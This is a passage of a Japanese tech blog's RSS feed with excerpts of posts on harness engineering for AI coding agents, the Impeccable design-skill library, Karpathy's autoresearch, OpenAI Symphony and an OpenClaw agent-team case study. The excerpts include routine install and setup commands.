&lt;li&gt;&lt;strong&gt;実行制御層&lt;/strong&gt; — エージェントの作業中にリアルタイムで品質を強制する（リンター・フォーマッターの自動実行、計画と実行の分離）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;検証層&lt;/strong&gt; — エージェントの出力が正しいことを確認する（E2E テスト、プリコミットチェック）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;核心的な洞察は「ハーネスがモデルより重要」という点だ。同じモデルでもハーネスを改善すれば出力品質が劇的に向上する。開発者の責任は「正しいコードを書く」から「エージェントが確実に正しいコードを生産する環境を設計する」へとシフトしている。&lt;/p&gt;
&lt;h2 id="7-つの主要トピック"&gt;7 つの主要トピック&lt;/h2&gt;
&lt;h3 id="1-リポジトリ衛生-入力層"&gt;1. リポジトリ衛生 〈入力層〉&lt;/h3&gt;
&lt;p&gt;「衛生（hygiene）」は、ソフトウェア開発で「不要物や汚染を取り除き、健全な状態を保つ」という意味で使われる慣用表現だ（「コードハイジーン」「ブランチハイジーン」なども同様）。ここでは、リポジトリ内に&lt;strong&gt;古くなったドキュメントや不正確な情報が溜まらないよう清潔に保つ&lt;/strong&gt;ことを指す。人間なら「このメモ、古そうだな」と判断できるが、エージェントは 3 ヶ月前のメモも最新のコードも同じ「事実」として読んでしまう。だから情報の鮮度管理が重要になる。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;実行可能なアーティファクト（コード、テスト、設定）を優先する&lt;/li&gt;
&lt;li&gt;説明的ドキュメントは腐敗しやすいため最小化する&lt;/li&gt;
&lt;li&gt;ADR（Architecture Decision Records）で決定履歴を保全する&lt;/li&gt;
&lt;li&gt;テストはドキュメントより腐敗に強い&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;最大の敵は「説明的ドキュメントの腐敗」だ。エージェントは「3 ヶ月前のメモ」と「現在の真実」を区別できないため、古い情報が存在するだけで性能が低下する。ハーネスの入力層として、エージェントが読む情報の鮮度と正確性を保つことが最初のステップになる。&lt;/p&gt;
&lt;h3 id="2-決定論的ツールで品質を強制する-実行制御層"&gt;2. 決定論的ツールで品質を強制する 〈実行制御層〉&lt;/h3&gt;
&lt;p&gt;「決定論的（deterministic）」とは、同じ入力に対して&lt;strong&gt;毎回必ず同じ結果を返す&lt;/strong&gt;という意味だ。リンターやフォーマッターがその典型で、たとえば「未使用の変数がある」というコードを渡せば、何度実行しても必ず同じ警告を返す。気分や文脈によって判断が揺れることがない。&lt;/p&gt;
&lt;p&gt;対照的に、LLM は非決定論的だ。同じコードを渡しても、実行するたびにチェックの粒度や指摘内容がブレる。「インデントを揃えて」と指示しても、ある時はスペース 2 つ、別の時はタブで揃えるかもしれない。&lt;/p&gt;
&lt;p&gt;だからこそ、&lt;strong&gt;機械的に判定できるルール（構文エラー、未使用変数、フォーマット）は LLM に任せず、決定論的ツールに委ねる&lt;/strong&gt;のが原則だ。PostToolUse Hook でファイル編集のたびにリンターを自動実行し、エラーをエージェントに即時フィードバックする。&lt;/p&gt;
&lt;p&gt;言語別の推奨スタック:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;言語&lt;/th&gt;
&lt;th&gt;PostToolUse&lt;/th&gt;
&lt;th&gt;プリコミット&lt;/th&gt;
&lt;th&gt;カスタムルール&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;TypeScript&lt;/td&gt;
&lt;td&gt;Biome + Oxlint&lt;/td&gt;
&lt;td&gt;tsc + ESLint&lt;/td&gt;
&lt;td&gt;eslint-plugin-local-rules&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Python&lt;/td&gt;
&lt;td&gt;Ruff check/format&lt;/td&gt;
&lt;td&gt;Ruff + mypy&lt;/td&gt;
&lt;td&gt;ast-grep&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Go&lt;/td&gt;
&lt;td&gt;gofumpt + golangci-lint&lt;/td&gt;
&lt;td&gt;同左&lt;/td&gt;
&lt;td&gt;ast-grep&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;リンター設定の保護も重要だ。エージェントがルールを勝手に緩和・改ざんするのを防ぐ仕組みが必要になる。これはまさに「手綱」の役割 — エージェントが暴走しないよう、作業のたびに自動で引き戻す仕組みだ。&lt;/p&gt;</description></item><item><title>Harness Engineering ベストプラクティス 2026 — AI コーディングエージェントを安定稼働させる設計術</title><link>https://hdknr.github.io/blogs/posts/2026/03/harness-engineering-%E3%83%99%E3%82%B9%E3%83%88%E3%83%97%E3%83%A9%E3%82%AF%E3%83%86%E3%82%A3%E3%82%B9-2026-ai-%E3%82%B3%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%82%92%E5%AE%89%E5%AE%9A%E7%A8%BC%E5%83%8D%E3%81%95%E3%81%9B%E3%82%8B%E8%A8%AD%E8%A8%88%E8%A1%93/</link><pubDate>Mon, 09 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/harness-engineering-%E3%83%99%E3%82%B9%E3%83%88%E3%83%97%E3%83%A9%E3%82%AF%E3%83%86%E3%82%A3%E3%82%B9-2026-ai-%E3%82%B3%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%82%92%E5%AE%89%E5%AE%9A%E7%A8%BC%E5%83%8D%E3%81%95%E3%81%9B%E3%82%8B%E8%A8%AD%E8%A8%88%E8%A1%93/</guid><description>逆瀬川氏のHarness Engineeringベストプラクティス記事を要約。Hooks 4パターン、リンター戦略、E2Eテスト、CLAUDE.md設計、MVH導入ステップを解説。</description></item><item><title>Impeccable — AI コーディングツールのフロントエンド設計を底上げするスキルライブラリ</title><link>https://hdknr.github.io/blogs/posts/2026/03/impeccable-ai-%E3%82%B3%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0%E3%83%84%E3%83%BC%E3%83%AB%E3%81%AE%E3%83%95%E3%83%AD%E3%83%B3%E3%83%88%E3%82%A8%E3%83%B3%E3%83%89%E8%A8%AD%E8%A8%88%E3%82%92%E5%BA%95%E4%B8%8A%E3%81%92%E3%81%99%E3%82%8B%E3%82%B9%E3%82%AD%E3%83%AB%E3%83%A9%E3%82%A4%E3%83%96%E3%83%A9%E3%83%AA/</link><pubDate>Mon, 09 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/impeccable-ai-%E3%82%B3%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0%E3%83%84%E3%83%BC%E3%83%AB%E3%81%AE%E3%83%95%E3%83%AD%E3%83%B3%E3%83%88%E3%82%A8%E3%83%B3%E3%83%89%E8%A8%AD%E8%A8%88%E3%82%92%E5%BA%95%E4%B8%8A%E3%81%92%E3%81%99%E3%82%8B%E3%82%B9%E3%82%AD%E3%83%AB%E3%83%A9%E3%82%A4%E3%83%96%E3%83%A9%E3%83%AA/</guid><description>&lt;p&gt;AI コーディングツール（Claude Code、Cursor、Gemini CLI など）で UI を生成すると、「動くけど見た目がイマイチ」になりがちだ。Impeccable は、AI に設計のボキャブラリーを教えることで、生成される UI の品質を引き上げるスキルライブラリだ。&lt;/p&gt;
&lt;h2 id="impeccable-とは"&gt;Impeccable とは&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://impeccable.style/"&gt;Impeccable&lt;/a&gt; は、Paul Bakaus 氏が開発した AI コーディングツール向けの設計スキル拡張だ。Anthropic の公式 &lt;code&gt;frontend-design&lt;/code&gt; スキルをベースに、17個のコマンドと厳選されたアンチパターン集を提供する。&lt;/p&gt;
&lt;p&gt;「派手なデザイン」ではなく「洗練された仕上がり」を目指すのが特徴で、中国のインディー開発者コミュニティでも注目を集めている。&lt;/p&gt;
&lt;h2 id="対応ツール"&gt;対応ツール&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Cursor&lt;/li&gt;
&lt;li&gt;Claude Code&lt;/li&gt;
&lt;li&gt;Gemini CLI&lt;/li&gt;
&lt;li&gt;Codex CLI&lt;/li&gt;
&lt;li&gt;VS Code Copilot&lt;/li&gt;
&lt;li&gt;Google Antigravity&lt;/li&gt;
&lt;li&gt;Kiro&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="インストール方法"&gt;インストール方法&lt;/h2&gt;
&lt;h3 id="npx推奨"&gt;npx（推奨）&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;npx skills add pbakaus/impeccable
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="claude-code-の場合"&gt;Claude Code の場合&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# プロジェクト単位&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cp -r dist/claude-code/.claude your-project/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# グローバル&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cp -r dist/claude-code/.claude/* ~/.claude/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="cursor-の場合"&gt;Cursor の場合&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cp -r dist/cursor/.cursor your-project/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Nightly チャンネルの使用と Agent Skills の有効化が必要。&lt;/p&gt;</description></item><item><title>Karpathy の autoresearch — AIが寝ている間に100回実験を回す仕組み</title><link>https://hdknr.github.io/blogs/posts/2026/03/karpathy-%E3%81%AE-autoresearch-ai%E3%81%8C%E5%AF%9D%E3%81%A6%E3%81%84%E3%82%8B%E9%96%93%E3%81%AB100%E5%9B%9E%E5%AE%9F%E9%A8%93%E3%82%92%E5%9B%9E%E3%81%99%E4%BB%95%E7%B5%84%E3%81%BF/</link><pubDate>Mon, 09 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/karpathy-%E3%81%AE-autoresearch-ai%E3%81%8C%E5%AF%9D%E3%81%A6%E3%81%84%E3%82%8B%E9%96%93%E3%81%AB100%E5%9B%9E%E5%AE%9F%E9%A8%93%E3%82%92%E5%9B%9E%E3%81%99%E4%BB%95%E7%B5%84%E3%81%BF/</guid><description>&lt;p&gt;Andrej Karpathy が公開した &lt;a href="https://github.com/karpathy/autoresearch"&gt;autoresearch&lt;/a&gt; は、AI エージェントが単一 GPU 上で自律的に ML 実験を繰り返すツールです。わずか約630行の Python コードで「コード修正 → 学習 → 評価 → 改善」のループを自動化し、研究の競争軸を「コード品質」から「改善ループの速度」へと変えようとしています。&lt;/p&gt;
&lt;h2 id="autoresearch-とは"&gt;autoresearch とは&lt;/h2&gt;
&lt;p&gt;autoresearch のコンセプトはシンプルです:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;AIエージェントに小さいが本物の LLM トレーニング環境を渡し、一晩中自律的に実験させる&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;エージェントはトレーニングコード（&lt;code&gt;train.py&lt;/code&gt;）を自動修正し、5分間のトレーニングを実行、検証損失（val_bpb）が改善したかを確認し、結果に基づいて次の実験に進みます。&lt;/p&gt;
&lt;h2 id="プロジェクト構成"&gt;プロジェクト構成&lt;/h2&gt;
&lt;p&gt;autoresearch はたった3つのファイルで構成されています:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;ファイル&lt;/th&gt;
&lt;th&gt;役割&lt;/th&gt;
&lt;th&gt;編集者&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;prepare.py&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;データ準備・ランタイムユーティリティ&lt;/td&gt;
&lt;td&gt;変更不可&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;train.py&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;モデル・オプティマイザ・学習ループ&lt;/td&gt;
&lt;td&gt;AIエージェント&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;program.md&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;エージェントへの指示書&lt;/td&gt;
&lt;td&gt;人間&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;従来のML研究では Python ファイルを直接編集しますが、autoresearch では &lt;strong&gt;Markdown ファイル（&lt;code&gt;program.md&lt;/code&gt;）でエージェントに指示を与える&lt;/strong&gt; という設計になっています。人間が行うのは「プログラムのプログラミング」です。&lt;/p&gt;
&lt;h2 id="固定時間予算という設計判断"&gt;固定時間予算という設計判断&lt;/h2&gt;
&lt;p&gt;autoresearch の重要な設計判断は、全てのトレーニングを &lt;strong&gt;ちょうど5分間&lt;/strong&gt; に固定していることです:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;1時間あたり約12回の実験が可能&lt;/li&gt;
&lt;li&gt;一晩（8時間）で約100回の実験を自動実行&lt;/li&gt;
&lt;li&gt;プラットフォームに依存せず公平な比較が可能&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# セットアップ&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;uv sync
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;uv run prepare.py &lt;span style="color:#75715e"&gt;# データ準備（初回のみ、約2分）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# 単一実験の実行&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;uv run train.py &lt;span style="color:#75715e"&gt;# 約5分で完了&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;エージェントの起動は、Claude などの AI に対して以下のように指示するだけです:&lt;/p&gt;</description></item><item><title>OpenAI Symphony — AI エージェントを自律的にオーケストレーションするオープンソースフレームワーク</title><link>https://hdknr.github.io/blogs/posts/2026/03/openai-symphony-ai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%82%92%E8%87%AA%E5%BE%8B%E7%9A%84%E3%81%AB%E3%82%AA%E3%83%BC%E3%82%B1%E3%82%B9%E3%83%88%E3%83%AC%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3%E3%81%99%E3%82%8B%E3%82%AA%E3%83%BC%E3%83%97%E3%83%B3%E3%82%BD%E3%83%BC%E3%82%B9%E3%83%95%E3%83%AC%E3%83%BC%E3%83%A0%E3%83%AF%E3%83%BC%E3%82%AF/</link><pubDate>Mon, 09 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/openai-symphony-ai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%82%92%E8%87%AA%E5%BE%8B%E7%9A%84%E3%81%AB%E3%82%AA%E3%83%BC%E3%82%B1%E3%82%B9%E3%83%88%E3%83%AC%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3%E3%81%99%E3%82%8B%E3%82%AA%E3%83%BC%E3%83%97%E3%83%B3%E3%82%BD%E3%83%BC%E3%82%B9%E3%83%95%E3%83%AC%E3%83%BC%E3%83%A0%E3%83%AF%E3%83%BC%E3%82%AF/</guid><description>&lt;p&gt;OpenAI が &lt;strong&gt;Symphony&lt;/strong&gt; というオープンソースの自動化基盤をリリースしました。Issue トラッカーから課題を読み取り、課題ごとに隔離ワークスペースを作成し、AI エージェントに実装を走らせるオーケストレーションフレームワークです。&lt;/p&gt;
&lt;h2 id="symphony-とは"&gt;Symphony とは&lt;/h2&gt;
&lt;p&gt;Symphony は、AI コーディングエージェントを手動のプロンプト操作から&lt;strong&gt;構造化された自律実行&lt;/strong&gt;へと移行させるためのフレームワークです。Elixir / Erlang BEAM ランタイム上に構築されており、長時間実行される独立した「実装ラン（implementation run）」を高い並行性と耐障害性で管理します。&lt;/p&gt;
&lt;p&gt;従来の「AI にコードを書かせて PR を出す」という手動プロンプト型のワークフローを、&lt;strong&gt;カンバンボードのタスクカードを移動するだけ&lt;/strong&gt;で管理できるようにします。&lt;/p&gt;
&lt;h2 id="動作の仕組み"&gt;動作の仕組み&lt;/h2&gt;
&lt;p&gt;Symphony の基本的な流れは以下の通りです:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;課題の読み取り&lt;/strong&gt; — Issue トラッカー（現在は Linear をサポート）からタスクを継続的に監視&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;隔離ワークスペースの作成&lt;/strong&gt; — 各課題に対して独立したワークスペースを生成&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;エージェントの実行&lt;/strong&gt; — ワークスペース内でコーディングエージェントセッションを実行&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;成果物の提出&lt;/strong&gt; — CI ステータス、PR レビューフィードバック、複雑度分析、操作動画などの「作業証明」を提供&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;承認とマージ&lt;/strong&gt; — タスクが承認されると、エージェントが安全に PR をマージ&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="技術的な特徴"&gt;技術的な特徴&lt;/h2&gt;
&lt;h3 id="workflowmd-によるエージェント制御"&gt;WORKFLOW.md によるエージェント制御&lt;/h3&gt;
&lt;p&gt;エージェントのプロンプトやランタイム設定は、リポジトリ内の &lt;code&gt;WORKFLOW.md&lt;/code&gt; に直接保存されます。これにより、AI の動作指示がコードとしてバージョン管理され、変更対象のブランチと同期されます。&lt;/p&gt;
&lt;h3 id="elixir--beam-ランタイムの採用"&gt;Elixir / BEAM ランタイムの採用&lt;/h3&gt;
&lt;p&gt;Elixir と Erlang/BEAM ランタイムを採用することで、以下のメリットがあります:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;高い並行性&lt;/strong&gt; — 複数のエージェントセッションを同時に管理&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;耐障害性&lt;/strong&gt; — 個別の実装ランが失敗してもシステム全体に影響しない&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;長時間実行への対応&lt;/strong&gt; — エージェントの長時間稼働を安定的にサポート&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="poll-dispatch-resolve-land-ワークフロー"&gt;Poll-Dispatch-Resolve-Land ワークフロー&lt;/h3&gt;
&lt;p&gt;Symphony の中核となるワークフローパターンです:&lt;/p&gt;</description></item><item><title>OpenClaw で月400ドルの AI チームを構築 — 18歳がコーディング経験ゼロで実現した方法</title><link>https://hdknr.github.io/blogs/posts/2026/03/openclaw-%E3%81%A7%E6%9C%88400%E3%83%89%E3%83%AB%E3%81%AE-ai-%E3%83%81%E3%83%BC%E3%83%A0%E3%82%92%E6%A7%8B%E7%AF%89-18%E6%AD%B3%E3%81%8C%E3%82%B3%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0%E7%B5%8C%E9%A8%93%E3%82%BC%E3%83%AD%E3%81%A7%E5%AE%9F%E7%8F%BE%E3%81%97%E3%81%9F%E6%96%B9%E6%B3%95/</link><pubDate>Mon, 09 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/openclaw-%E3%81%A7%E6%9C%88400%E3%83%89%E3%83%AB%E3%81%AE-ai-%E3%83%81%E3%83%BC%E3%83%A0%E3%82%92%E6%A7%8B%E7%AF%89-18%E6%AD%B3%E3%81%8C%E3%82%B3%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0%E7%B5%8C%E9%A8%93%E3%82%BC%E3%83%AD%E3%81%A7%E5%AE%9F%E7%8F%BE%E3%81%97%E3%81%9F%E6%96%B9%E6%B3%95/</guid><description>&lt;p&gt;18歳、コーディング経験ゼロ、高校を卒業したばかりの起業家が &lt;a href="https://openclaw.ai/"&gt;OpenClaw&lt;/a&gt; を使って15人の AI エージェントチームを構築し、月額400ドルで24時間稼働させている事例が話題になっています。GitHubやIDEの知識がなくても、AI チームを組織できる時代が来ています。&lt;/p&gt;
&lt;h2 id="openclaw-とは"&gt;OpenClaw とは&lt;/h2&gt;
&lt;p&gt;OpenClaw は、Peter Steinberger が開発したオープンソースの自律型 AI エージェントです。2026年3月時点で GitHub スター数は約247,000、フォーク数は47,700を超え、爆発的な成長を遂げています。&lt;/p&gt;
&lt;p&gt;完全にオープンソースでサブスクリプションや API 費用が不要なため、実際にかかるコストはハードウェアと電気代のみ。専用サーバー（OVH で月45ドル、Hetzner で月40ドル程度）を使えば、低コストで本格的な AI チームを運用できます。&lt;/p&gt;
&lt;h2 id="ai-チームの構成"&gt;AI チームの構成&lt;/h2&gt;
&lt;p&gt;YouTube 動画「I Built a Full AI Team Inside OpenClaw for $400/Month」（4.2万回再生）では、以下のような AI エージェントチームの構築が紹介されています:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;エージェント名&lt;/th&gt;
&lt;th&gt;役割&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;ATLAS&lt;/td&gt;
&lt;td&gt;戦略・計画策定&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SCRIBE&lt;/td&gt;
&lt;td&gt;ドキュメント・コンテンツ作成&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PIXEL&lt;/td&gt;
&lt;td&gt;デザイン・ビジュアル&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NOVA&lt;/td&gt;
&lt;td&gt;リサーチ・分析&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SENTINEL&lt;/td&gt;
&lt;td&gt;監視・品質管理&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CLOSER&lt;/td&gt;
&lt;td&gt;セールス・クロージング&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CLAND&lt;/td&gt;
&lt;td&gt;コーディング・開発&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CLIP&lt;/td&gt;
&lt;td&gt;動画・メディア編集&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;各エージェントは &lt;code&gt;agents/&lt;/code&gt; フォルダ内にサブフォルダとして定義され、それぞれの &lt;code&gt;AGENTS.md&lt;/code&gt; に役割・ツール・振る舞いが記述されます。&lt;/p&gt;
